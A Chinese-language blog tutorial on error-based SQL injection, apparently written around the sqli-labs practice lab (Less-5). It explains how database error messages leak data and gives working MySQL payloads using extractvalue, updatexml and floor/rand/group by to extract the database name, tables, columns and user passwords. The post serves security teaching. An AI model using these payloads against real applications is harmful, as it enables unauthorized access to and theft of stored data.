网络安全——SQL报错注入

SQL报错注入是什么?

报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。

前提

以我们熟知sqli-labs的实验环境为例,LESS-5我们首先加后缀?id=1’根据报错信息得知闭合方式为单引号闭合

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

然后利用order by语句判断字段数

.../?id=1'order by 3--+(页面显示正常)
.../?id=1'order by 4--+(页面显示不正常)

利用union select 1,2,3判断回显

.../?id=-1'union select 1,2,3--+

页面怎么没有回显位置,这种情况又怎么办? 对于这种,没有回显位置的情况,很明显我们就不能使用常规的联合查询注入方法来获取数据库信息了。

那么我们又能通过什么方式呢?

答:在上面的测试闭合方式,猜字段数的过程和结果中,我们发现它虽然不回显位置,但是页面仍然返回报错信息!!!

总的来说,前提就是页面有错误信息显示出来

那就引入了另一种注入手法:报错注入

原理

当应用程序在执行一个SQL查询时,如果查询中包含了错误(如语法错误、执行错误等),数据库会返回一个错误消息。如果这个错误消息没有被应用程序适当地处理,而是直接显示给了用户,那么攻击者就可以通过分析这些错误消息来获取数据库的内部信息。

报错注入的步骤

1.发现注入点:首先需要确定应用程序的哪个部分存在SQL注入漏洞。

2.构造错误语句:在识别到注入点之后,构造特定的输入,使得SQL查询出现错误。例如,可以通过添加一些非法的SQL语法来触发错误。

3.触发错误并捕获信息:当错误被触发后,数据库会返回错误信息。如果应用程序将这些信息显示在界面上,攻击者就可以从中获取信息。

4.分析错误信息:分析返回的错误信息,提取有用的数据,比如数据库的类型、版本、表名、列名等。

5.进一步利用:根据获取的信息,进一步构造更复杂的SQL语句,以获取更多的数据或执行未授权的操作。

解法

⽬前常见的报错注入大约有10种:

extractvalue()、
floor()、
updatexml()、
exp()、
geometrycollection(),
multipoint(),
polygon(),
multipolygon(),
linestring(),
multilinestring()

其中原理主要是:
BIGINT等数据类型溢出
xpath语法错误
count()+rand()+groupby()导致主键重复

相关函数
count():获取select检索到的非NULL的数据总条数,找不到则返回0,count(*)则不论是否为N
ULL都会计入。
rand():产生一个0-1的随机浮点数。
floor():取浮点数的整数部分。
group by:根据⼀个或多个列对结果集进行分组并有排序功能,会忽略NuLL值。
concat():返回结果为连接参数产生的字符串。如有任何⼀个参数为NULL ,则返回值为 NULL。
extractvalue():负责在xml文档中按照xpath语法查询节点内容,MySQL版本须大于或等于5.1.5。
updatexml():updatexml则负责修改查询到的内容,MySQL版本须大于或等于5.1.5。
extractvalue()
//负责在xml文档中按照xpath语法查询节点内容
//语法:extractvalue(目标xml文档,xml路径)
//第⼆个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种
格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
//select * from users where id = 1 and (extractvalue(‘anything’,concat(0x7e,(select version()))));
//有⼀点需要注意,extractvalue()能查询字符串的最大长度为32,就是说如果我们想要的结果
超过32,就需要用substring()函数截取,依次查看32位
updatexml()
//updatexml()函数与extractvalue()类似,是更新xml文档的函数。
//语法:updatexml(目标xml文档,xml路径,更新的内容)
//select username from users where id=1 and (updatexml(‘x’,‘/xx/xx’,‘y’));
//报错方式:select username from users where id=1 and (updatexml(‘x’,concat(0x7e,(select database())),‘y’));

第五关

爆库

这里需要注意先要查询相应列数

id=1' union select 1,2,count(*) from information_schema.tables group by concat(0x7e,floor(rand(0)*2),database())--+

在这里插入图片描述

爆表

1' union select 1,2,count(*) from information_schema.tables group by concat(0x7e,floor(rand(0)*2),(select concat(0x7e,table_name) from information_schema.tables where table_schema=database() limit 3,1))--+

在这里插入图片描述

爆字段

1' union select 1,2,count(*) from information_schema.tables group by concat(0x7e,floor(rand(0)*2),(select concat(0x7e,column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 2,1))--+

在这里插入图片描述

爆数据

1' union select 1,2,count(*) from users group by concat(0x7e,floor(rand(0)*2),(select concat(0x7e,password) from users limit 0,1))--+

在这里插入图片描述

  • 28
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值